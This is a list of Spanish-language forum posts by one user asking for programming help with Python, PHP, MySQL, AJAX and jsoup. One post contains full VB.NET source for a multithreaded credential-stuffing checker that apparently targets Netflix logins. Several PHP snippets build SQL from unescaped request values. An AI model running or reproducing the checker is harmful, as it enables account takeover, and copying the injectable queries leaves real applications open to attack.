|
1
|
Programación / Scripting / numero consecutivo python
|
en: 31 Mayo 2020, 21:38 pm
|
podrian ayudarme porfavor ['7111', '7112', 7114, 7115, 7116, 7117, 7118, 7119, 7121, 7123, 7124, 7125, 7127, 7128, 7129, 7130, 7131, 7132, 7133, 7134, 7135, 7136, 7137, 7138, 7140, 7141, 7142, 7143, 7144, 7145, 7146, 7149, 7150, 7151, 7152, 7153, 7154, 7155, 7156, 7157, 7158, 7159, 7160, 7161, 7163, 7165, 7166, 7167, 7168, 7170, 7171, 7172, 7173, 7176, 7177, 7178, 7179, 7180, 7184, 7185, 7186, 7187, 7188, 7189, 7190, 7191, 7192, 7193, 7194, 7195, 7196, 7197, 7198, 7199, 7200, 7201, 7202]
tengo esta lista de numeros podrian darme una idea para que se agregen los numeros que faltan ejemplo '7111', '7112','7113', '7114', gracias
|
|
|
2
|
Programación / PHP / concatenar array en php
|
en: 14 Mayo 2020, 15:51 pm
|
alguien me puede ayudar en esto arr = ['66', '59', '07/05/2', '020', '07:13', 'a.m.', '135.00 - - 135.00', '66', '61', '07/05/2', '020', '07:15', 'a.m.', '120.00 - - 120.00', '66', '62', '07/05/2', '020', '07:31', 'a.m.', '75.00 - - 75.00', '66', '64', '07/05/2', '020', '07:41', 'a.m.', '60.00 - - 60.00', '66', '65', '07/05/2', '020', '07:44', 'a.m.', '45.00 - - 45.00', '66', '66', '07/05/2', '020', '07:54', 'a.m.', '65.00 - - 65.00', '66', '67', '07/05/2', '020', '08:03', 'a.m.', '90.00 - - 90.00', '66', '68', '07/05/2', '020', '08:06', 'a.m.', '135.00 - - 135.00', '66', '70', '07/05/2', '020', '08:10', 'a.m.', '95.00 - - 95.00', '66', '71', '07/05/2', '020', '08:15', 'a.m.', '0.00 - - 0.00', '66', '72', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '73', '07/05/2', '020', '08:18', 'a.m.', '0.00 - - 0.00', '66', '74', '07/05/2', '020', '08:21', 'a.m.', '85.00 - - 85.00', '66', '75', '07/05/2', '020', '08:26', 'a.m.', '0.00 - - 0.00', '66', '77', '07/05/2', '020', '08:30', 'a.m.', '240.00 - - 240.00', '66', '78', '07/05/2', '020', '08:43', 'a.m.', '45.00 - - 45.00', '66', '79', '07/05/2', '020', '08:44', 'a.m.', '145.00 - - 145.00', '66', '80', '07/05/2', '020', '08:45', 'a.m.', '250.00 - - 250.00', '66', '81', '07/05/2', '020', '08:51', 'a.m.', '45.00 - - 45.00', '66', '82', '07/05/2', '020', '08:54', 'a.m.', '190.00 - - 190.00', '66', '84', '07/05/2', '020', '08:56', 'a.m.', '120.00 - - 120.00', '66', '85', '07/05/2', '020', '08:57', 'a.m.', '170.00 - - 170.00', '66', '86', '07/05/2', '020', '08:59', 'a.m.', '30.00 - - 30.00', '66', '87', '07/05/2', '020', '09:02', 'a.m.', '140.00 - - 140.00', '66', '88', '07/05/2', '020', '09:02', 'a.m.', '175.00 - - 175.00', '66', '89', '07/05/2', '020', '09:16', 'a.m.', '125.00 - - 125.00', '66', '90', '07/05/2', '020', '09:18', 'a.m.', '105.00 - - 105.00', '66', '91', '07/05/2', '020', '09:25', 'a.m.', '75.00 - - 75.00', '66', '92', '07/05/2', '020', '09:27', 'a.m.', '75.00 - - 75.00', '66', '94', '07/05/2', '020', '09:28', 'a.m.', '145.00 - - 145.00', '66', '95', '07/05/2', '020', '09:29', 'a.m.', '100.00 - - 100.00', '66', '97', '07/05/2', '020', '09:31', 'a.m.', '145.00 - - 145.00', '66', '98', '07/05/2', '020', '09:30', 'a.m.', '135.00 - - 135.00', '66', '99', '07/05/2', '020', '09:44', 'a.m.', '30.00 - - 30.00', '67', '01', '07/05/2', '020', '09:47', 'a.m.', '35.00 - - 35.00', '67', '02', '07/05/2', '020', '09:47', 'a.m.', '75.00 - - 75.00', '67', '03', '07/05/2', '020', '09:49', 'a.m.', '320.00 - - 320.00', '67', '04', '07/05/2', '020', '09:48', 'a.m.', '125.00 - - 125.00', '67', '05', '07/05/2', '020', '09:51', 'a.m.', '25.00 - - 25.00', '67', '07', '07/05/2', '020', '09:54', 'a.m.', '150.00 - - 150.00', '67', '08', '07/05/2', '020', '09:55', 'a.m.', '45.00 - - 45.00', '67', '09', '07/05/2', '020', '09:57', 'a.m.', '45.00 - - 45.00', '67', '10', '07/05/2', '020', '10:08', 'a.m.', '150.00 - - 150.00', '67', '13', '07/05/2', '020', '10:16', 'a.m.', '130.00 - - 130.00', '67', '14', '07/05/2', '020', '10:17', 'a.m.', '75.00 - - 75.00', '67', '15', '07/05/2', '020', '10:18', 'a.m.', '100.00 - - 100.00', '67', '16', '07/05/2', '020', '10:20', 'a.m.', '125.00 - - 125.00', '67', '18', '07/05/2', '020', '10:20', 'a.m.', '185.00 - - 185.00', '67', '19', '07/05/2', '020', '10:22', 'a.m.', '60.00 - - 60.00', '67', '21', '07/05/2', '020', '10:31', 'a.m.', '60.00 - - 60.00', '67', '23', '07/05/2', '020', '10:44', 'a.m.', '140.00 - - 140.00', '67', '24', '07/05/2', '020', '10:47', 'a.m.', '400.00 - - 400.00', '67', '26', '07/05/2', '020', '10:55', 'a.m.', '80.00 - - 80.00', '67', '28', '07/05/2', '020', '10:59', 'a.m.', '75.00 - - 75.00', '67', '29', '07/05/2', '020', '11:00', 'a.m.', '150.00 - - 150.00', '67', '32', '07/05/2', '020', '11:18', 'a.m.', '0.00 - - 0.00', '67', '33', '07/05/2', '020', '11:32', 'a.m.', '115.00 - - 115.00', '67', '34', '07/05/2', '020', '11:44', 'a.m.', '85.00 - - 85.00', '67', '35', '07/05/2', '020', '11:51', 'a.m.', '40.00 - - 40.00', '67', '36', '07/05/2', '020', '11:54', 'a.m.', '170.00 - - 170.00', '67', '37', '07/05/2', '020', '12:11', 'p.m.', '0.00 - - 0.00', '67', '38', '07/05/2', '020', '12:11', 'p.m.', '140.00 - - 140.00', '67', '39', '07/05/2', '020', '12:16', 'p.m.', '90.00 - - 90.00', '67', '41', '07/05/2', '020', '12:23', 'p.m.', '70.00 - - 70.00', '67', '42', '07/05/2', '020', '12:26', 'p.m.', '50.00 - - 50.00', '67', '45', '07/05/2', '020', '12:25', 'p.m.', '65.00 - - 65.00', '67', '46', '07/05/2', '020', '12:28', 'p.m.', '60.00 - - 60.00', '67', '47', '07/05/2', '020', '12:31', 'p.m.', '60.00 - - 60.00', '67', '49', '07/05/2', '020', '12:37', 'p.m.', '45.00 - - 45.00', '67', '50', '07/05/2', '020', '12:38', 'p.m.', '20.00 - - 20.00', '67', '51', '07/05/2', '020', '12:39', 'p.m.', '60.00 - - 60.00', '67', '52', '07/05/2', '020', '12:44', 'p.m.', '75.00 - - 75.00', '67', '53', '07/05/2', '020', '12:46', 'p.m.', '40.00 - - 40.00', '67', '54', '07/05/2', '020', '12:54', 'p.m.', '100.00 - - 100.00', '67', '55', '07/05/2', '020', '12:56', 'p.m.', '65.00 - - 65.00', '67', '56', '07/05/2', '020', '01:01', 'p.m.', '60.00 - - 60.00', '67', '57', '07/05/2', '020', '01:03', 'p.m.', '45.00 - - 45.00', '67', '58', '07/05/2', '020', '01:04', 'p.m.', '130.00 - - 130.00', '67', '59', '07/05/2', '020', '01:14', 'p.m.', '240.00 - - 240.00', '67', '60', '07/05/2', '020', '01:20', 'p.m.', '90.00 - - 90.00', '67', '61', '07/05/2', '020', '01:20', 'p.m.', '15.00 - - 15.00', '67', '62', '07/05/2', '020', '01:21', 'p.m.', '75.00 - - 75.00', '67', '63', '07/05/2', '020', '01:36', 'p.m.', '30.00 - - 30.00', '67', '64', '07/05/2', '020', '01:41', 'p.m.', '40.00 - - 40.00', '67', '65', '07/05/2', '020', '01:43', 'p.m.', '60.00 - - 60.00', '67', '66', '07/05/2', '020', '01:53', 'p.m.', '65.00 - - 65.00', '67', '67', '07/05/2', '020', '01:58', 'p.m.', '155.00 - - 155.00', 'Tickets: 87 8295 - - 8,295.00', 'Totals', 'Efectivo 1,584.00', 'Tarjeta de Cr\xc3\xa9dito 0.00', 'Ingresos Efectivo 510.00', 'Ingresos Tarjeta de Cr\xc3\xa9dito 0.00', 'Gastos Total 7,221.00', 'Gastos Tarjeta de Cr\xc3\xa9dito 0.00', 'Total de Efectivo en Gaveta -6,711.00'] tengo este array pero mi duda es como puedo concatenar los 2 primeros elementos cada 6 a que me refiero a estos 66', '59' 66', '59' '66', '62' y asi susecivamente si alguien pudiera ayduarme gracias
|
|
|
3
|
Programación / Scripting / concatenar items dependiendo condicion python
|
en: 7 Mayo 2020, 23:36 pm
|
buenas tardes tengo un problema,espero me puedan ayudar mi problema es este, mylines1 es mi lista como ven la recorro con ciclos for y borro el espacio en blanco del final,bueno me genera la lista de esta forma sb=myline.rsplit(" ",1) mylines1.append(sb) for a in mylines1: for b in a: mylines11.append(b)
for index, i in enumerate(mylines11): for x in range(1,200): if "Transacciones" in i: try: t1=re.search("(Ingresos.*)",mylines11[index+x]) except:pass if not (t1) : reporte2=mylines11[index+x] reporte1.append(reporte2) print reporte2 else: break
Gastos
06/05/20
20
01:37:30
p.m.
[RAYA] 2050.00
06/05/20
20
01:37:42
p.m.
[RENTA] 100.00
06/05/20
20
01:37:53
p.m.
[REPARTIDOR] 220.00
06/05/20
20
01:38:12
p.m.
[TORTILLAS] 310.00
06/05/20
20
01:39:05
p.m.
[FRUTERIA (ABONO
NOTA MAY-3)]
200.00
06/05/20
20
01:39:58
p.m.
[QUESO (ABONO
NOTA MAY-1)]
200.00
06/05/20
20
01:41:32
p.m.
[GMC] 200.00
06/05/20
20
01:41:42
p.m.
[IMSS] 200.00
06/05/20
20
01:42:00
p.m.
[PEPSI] 382.00
06/05/20
20
01:42:12
p.m.
[MARLIN] 350.00
06/05/20
20
[OXXO] 31.00
01:42:28
p.m.
06/05/20
20
01:45:02
p.m.
[GAS CILINDRO
(COMPLEMENTO)]
350.00
06/05/20
20
01:45:50
p.m.
[CHILE (ABONO)] 200.00
06/05/20
20
02:08:59
p.m.
[CARNE] 2000.00
Total 6,793.00
Tarjeta de Crédito 0.00
Total de Efectivo y Tarjetas 6,793.00
lo que quiero hacer es esto [GAS CILINDRO
(COMPLEMENTO)]
los que estan entre corchetes unirlos en uno solo dentro del list se que existe join pero no me doy una idea podrian hecharme la mano porfavor
|
|
|
4
|
Programación / Bases de Datos / consulta mysql no me da suma total
|
en: 7 Mayo 2020, 01:36 am
|
SELECT DISTINCT (SELECT COUNT(cobranza.Id_Solicitud) FROM cobranza WHERE cobranza.Id_Solicitud=solicitud.Id_Solicitud AND Id_Tipo_Movimiento=2 AND BandEliminar=1) AS cuenta1 ,(SELECT SUM(solicitud.saldo) FROM solicitud ) AS cuenta2,DATE(Fecha_Proximo_Pago) AS fechaproximo,CURDATE(),DATEDIFF( CURDATE(),Fecha_Proximo_Pago) AS fecharesta , (SELECT IF(fecharesta <0, solicitud.saldo, 0))AS figura FROM solicitud
alguien podria darme una idea para que me de la suma total de los saldos que cumplan con la condicion menor a 0 si agrego un sum al if me da la suma pero de todos los saldos y yo solo necesito la suma de la condicion,gracias de antemano
|
|
|
5
|
Programación / Bases de Datos / multiples registros solo necesito uno
|
en: 16 Septiembre 2019, 03:24 am
|
buenas podrian darme una idea para que solo muestre el ultimo registro en vez de todos?, gracias SELECT central.sucursal AS numero, t_sucursales.nombre_suc, central.fecha, central.inventario FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE ( MONTH(central.fecha) LIKE '%". $mes ."%' AND YEAR(central.fecha) LIKE '%". $año ."%' AND t_sucursales.numerosucursal LIKE '%". $numerosucursal ."%' AND t_sucursales.nombre_suc LIKE '%". $nombresursal ."%' )
Mod: Temas sobre Bases de Datos van al subforo de Bases de Datos.
|
|
|
6
|
Programación / Bases de Datos / problema consulta filtro multiple
|
en: 15 Septiembre 2019, 05:34 am
|
buenas podrian ayudarme con esta consulta SELECT central.sucursal AS numero, t_sucursales.nombre_suc, central.fecha, central.regalias FROM central INNER JOIN t_sucursales ON central.sucursal = t_sucursales.numerosucursal WHERE(MONTH(central.fecha) = '$mes' AND YEAR(central.fecha) = '$año'" and t_sucursales.numerosucursal = '$numerosucursal' ) or MONTH(central.fecha) = '$mes' and YEAR(central.fecha) = '$año' or t_sucursales.numerosucursal = '$numerosucursal'
como podria hacer que por ejemplo si se cumple la primera condicion de mes año y sucursal realize filtro y si no haga la de mes y año o sucursal ,gracias Mod: Temas sobre Bases de Datos, van al subforo de Base de Datos.
|
|
|
7
|
Programación / PHP / ajax update modal
|
en: 1 Septiembre 2019, 19:50 pm
|
buenos dias,tardes,noches pudieran ayudarme con esto porfavor tengo esto en mi clase clase_user.php function update ($id,$nombre,$apellido,$oficio){
$update=$this->bd->query("UPDATE clientes set nombre='$nombre',apellido='$apellido',oficio='$oficio' where id='$id'"); $afectados=$this->bd->affected_rows; return $afectados; } en mi js llamado guardar.js tengo esto function modificar (){ var parametros= $('#datos').serialize(); $.ajax({ data: parametros, url: 'ajax/modificar.php', type: 'post', success: function (response){ $('#respuesta').html(response) cargar();
}
});
} en mi archivo modificar tengo esto <?php include_once '../config/clase_user.php';
$usuarios= new usuarios();
$caja=$usuarios->update($_POST['nombre'],$_POST['apellidos'],$_POST['oficio']); if ($caja==1) {
echo"CONEXION EXITOSA"; }else { echo"Ract FALLIDO"; }
?> en mi vista tengo esto <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS --> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="css/style.css">
<title>Hello, world!</title> </head> <body onload="cargar()"> <?php ?> <div id="respuesta"></div> <form id="datos" autocomplete="off"> <div class="form-group"> <label>Nombre</label> <input type="text" class="form-control" id="nombre" name="nombre" placeholder="Name" > </div> <div class="form-group"> <label>Apellidos</label> <input type="text" class="form-control" id="apellidos" name="apellidos" placeholder="Name" > </div> <div class="form-group"> <label>Oficio</label> <input type="text" class="form-control" id="oficio" name="oficio" placeholder="Name" > </div>
<button type="button" onclick="guardar()" class="btn btn-dark">Enviar</button>
</form> <table class="posclas table"> <thead class="thead-dark"> <tr> <th scope="col">Nombre</th> <th scope="col">Apellido</th> <th scope="col">Oficio</th> </tr> </thead> <tbody id="cargar"> </tbody> </table>
<div class="modal fade" id="modalEdicion" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
<div class="modal-dialog modal-sm" role="document"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button> <h4 class="modal-title" id="myModalLabel">Actualizar datos</h4> </div> <div class="modal-body"> <input type="text" id="id" name="id"> <label>Nombre</label> <input type="text" name="nombre" id="nombre" class="form-control input-sm"> <label>apellidos</label> <input type="text" name="apellidos" id="apellidos" class="form-control input-sm"> <label>oficio</label>
<input type="text" name="oficio" id="oficio" class="form-control input-sm"> </div> <div class="modal-footer"> <button type="button" class="btn btn-warning" onclick="modificar()" id="actualizadatos" data-dismiss="modal">Actualizar</button> </div> </div> </div> </div>
<!-- Optional javascript --> <!-- jQuery first, then Popper.js, then Bootstrap JS --> <script type="text/javascript" src="js/jquery-3.4.1.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> <script type="text/javascript" src="js/guardar.js"></script> </body> </html> mi pregunta es como podria pasar esos valores al modal que viene ahi adentro por mas que trato no puedo comprender esta parte en ajax,gracias
|
|
|
8
|
Programación / Programación General / threads crash riched20.dll vb net
|
en: 9 Marzo 2019, 05:21 am
|
esto es un diccionary attack pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll ,les agradeceria mucho que me pudieran apoyar en este error Imports System.IO Imports System.Runtime.InteropServices Imports System.Text.RegularExpressions Imports System.Threading Imports xNet
Public Class Form1
Private dragging As Boolean Private offset As Point Dim date1 As String Public int_0 As Integer Public int_1 As Integer Public int_2 As Integer Public int_3 As Integer Public int_4 As Integer Public int_5 As Integer Public int_6 As Integer Public int_7 As Integer Public object_0 As Object = New Object Private point_0 As Point ' Public proxyType_0 As ProxyType Public queue_0 As Queue Public random_0 As Random = New Random Public string_0 As String() Public string_1 As String() Public string_2 As String() = New String(0 - 1) {} Public string_3 As String() = New String(0 - 1) {} Private string_5 As String = "" Public thread_0 As Thread() Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt" Public Sub New() Me.InitializeComponent() Control.CheckForIllegalCrossThreadCalls = False ' Me.text_proxyType.SelectedIndex = 0 Me.NumericUpDown1.Value = 100 RichTextBox1.SelectionAlignment = HorizontalAlignment.Center End Sub Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown Me.dragging = True Me.offset = e.Location End Sub
Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove If Me.dragging Then Dim point As Point = MyBase.PointToScreen(e.Location) MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y)) Cursor.Current = Cursors.NoMove2D End If End Sub
Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp Me.dragging = False End Sub Protected Overrides ReadOnly Property CreateParams() As CreateParams Get Dim CP As CreateParams = MyBase.CreateParams CP.Style = &HA0000 Return CP End Get End Property
Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click End End Sub
Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click WindowState = FormWindowState.Minimized End Sub Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click MsgBox("aft", vbInformation, "Dz All Checkers 1.0") End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click Using dialog As OpenFileDialog = New OpenFileDialog dialog.Filter = "Text files | * .txt" If (dialog.ShowDialog = DialogResult.OK) Then Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName))) Me.int_1 = Me.string_1.Length Me.MetroLabel_1554.Text = Me.int_1.ToString End If End Using End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Using dialog As OpenFileDialog = New OpenFileDialog dialog.Filter = "Text files | * .txt" If (dialog.ShowDialog = DialogResult.OK) Then Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)}))) Me.int_0 = Me.string_0.Length Me.int_6 = Me.int_0 Me.MetroLabel_1555.Text = Me.int_0.ToString End If End Using End Sub Public Sub method_5()
' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1)) While Me.queue_0.Count > 0 Dim obj As Object = Me.object_0 Dim flag As Boolean = False Dim obj2 As Object Dim text As String Try Dim expr_29 As Object = obj obj2 = expr_29 Monitor.Enter(expr_29, flag) Try text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim() Me.queue_0.Dequeue() Catch ex As Exception
End Try
Finally If flag Then Monitor.[Exit](obj2) End If End Try Dim array As String() = text.Split(New Char() {":"c}) Try
Using httpRequest As HttpRequest = New HttpRequest() ' httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress) Dim cookies As CookieDictionary = New CookieDictionary(False) httpRequest.Cookies = cookies httpRequest.IgnoreProtocolErrors = True httpRequest.ConnectTimeout = TextBox6.Text '25000 httpRequest.AllowAutoRedirect = True httpRequest.KeepAlive = True httpRequest.UserAgent = Http.ChromeUserAgent() httpRequest.Referer = TextBox2.Text httpRequest.KeepAliveTimeout = TextBox7.Text
' 'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString() Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString() ' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid") httpRequest.AddParam(TextBox4.Text, array(0)) httpRequest.AddParam(TextBox5.Text, array(1))
Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString() RichTextBox2.Text = text2 If text2.Contains(TextBox3.Text) Then Dim str As String If text2.Contains(TextBox3.Text) Then str = "cuenta" Else str = "_" End If obj = Me.object_0 Dim flag2 As Boolean = False Try Dim expr_222 As Object = obj obj2 = expr_222 Monitor.Enter(expr_222, flag2) System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1) Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine Me.int_2 += 1 Me.int_5 += 1 Me.int_6 -= 1 Continue While Finally If flag2 Then Monitor.[Exit](obj2) End If End Try End If obj = Me.object_0 Dim flag3 As Boolean = False Try Dim expr_29E As Object = obj obj2 = expr_29E Monitor.Enter(expr_29E, flag3) Me.int_3 += 1 Finally If flag3 Then Monitor.[Exit](obj2) End If End Try Me.int_5 += 1 Me.int_6 -= 1 End Using Catch Me.int_7 += 1 Me.queue_0.Enqueue(text) ' proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1)) End Try End While If Me.int_5 = Me.int_0 Then Me.method_6() End If End Sub
Public Sub method_6() For i As Integer = 0 To Me.int_4 - 1 Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5)) Me.thread_0(i).IsBackground = True Me.thread_0(i).Abort() Next End Sub Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String On Error Resume Next Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value End Function Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged Dim num As Integer = 100 Try num = Integer.Parse(Me.TextBox1.Text) Catch obj1 As Exception End Try Me.NumericUpDown1.Value = num End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick Me.MetroLabel_1558.Text = Me.int_2.ToString Me.MetroLabel_1556.Text = Me.int_3.ToString Me.Label9.Text = Me.int_5.ToString ' Me.Label9.Text = Me.int_7.ToString If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then Me.RichTextBox1.Lines = Me.string_2 End If End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click Try Directory.CreateDirectory(String.Concat("Netflix\")) If Me.int_0 = 0 Then MessageBox.Show("Load Accounts.") ' ElseIf Me.int_1 = 0 Then ' MessageBox.Show("Load Proxies.") Else ' Select Case Me.text_proxyType.SelectedIndex ' Case 0 'Me.proxyType_0 = ProxyType.Http 'Case 1 'Me.proxyType_0 = ProxyType.Socks4 'Case 2 'Me.proxyType_0 = ProxyType.Socks5 'Case Else 'MessageBox.Show("Choose Proxy type") 'Return 'End Select Me.int_2 = 0 Me.int_3 = 0 Me.string_2 = Nothing Me.string_3 = Nothing Me.int_5 = 0 Me.int_7 = 0 Me.int_6 = Me.int_0 Me.queue_0 = New Queue()
For i As Integer = 0 To Me.int_0 - 1 Me.queue_0.Enqueue(Me.string_0(i)) Next Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value) Me.thread_0 = New Thread(Me.int_4 - 1) {} For j As Integer = 0 To Me.int_4 - 1 Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5)) Me.thread_0(j).IsBackground = True Me.thread_0(j).Start() Next Me.Timer1.Enabled = True End If Catch ex As Exception
End Try
End Sub
Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged Try RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText) Catch ex As Exception
End Try End Sub
Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click
End Sub End Class
|
|
|
9
|
Programación / Java / jsoup android problema
|
en: 13 Febrero 2019, 19:39 pm
|
buenos dias,podrian ayudarme con este problema try { Document doc = Jsoup. connect("http://192.168.1.238/gfx/nuevacarpeta/index.php"). get(); Element elem = doc. getElementById("llanta1"); String apre = elem. attr("value"); textView1.setText(apre); String cadena = textView1. getText(). toString(); int num1 = Integer. parseInt(cadena ); Toast.makeText(this, num1 Toast.LENGTH_SHORT).show(); } e.printStackTrace(); }
el problema esta en que cuando muestro el texto extraido por jsoup en un textview si me lo muestra,pero intento convertirlo a entero y tratar de mostrarlo o usarlo en un if y se crashea,les agradecería mucho la ayuda. MOD: Etiqueta GeSHi.
|
|
|
10
|
Programación / Programación General / automatizar programa
|
en: 5 Febrero 2019, 04:25 am
|
buenas ,alguien sabe como automatizar un programa necesito que realize algunas acciones,lamentablemente su api no funciona del todo bien,alguien sabe alguna alternativa a las macros o imagesearch(o si alguien sabe alguna forma de mejorar el imagesearch) solo necesito ideas gracias
|
|
|
|
|
|
|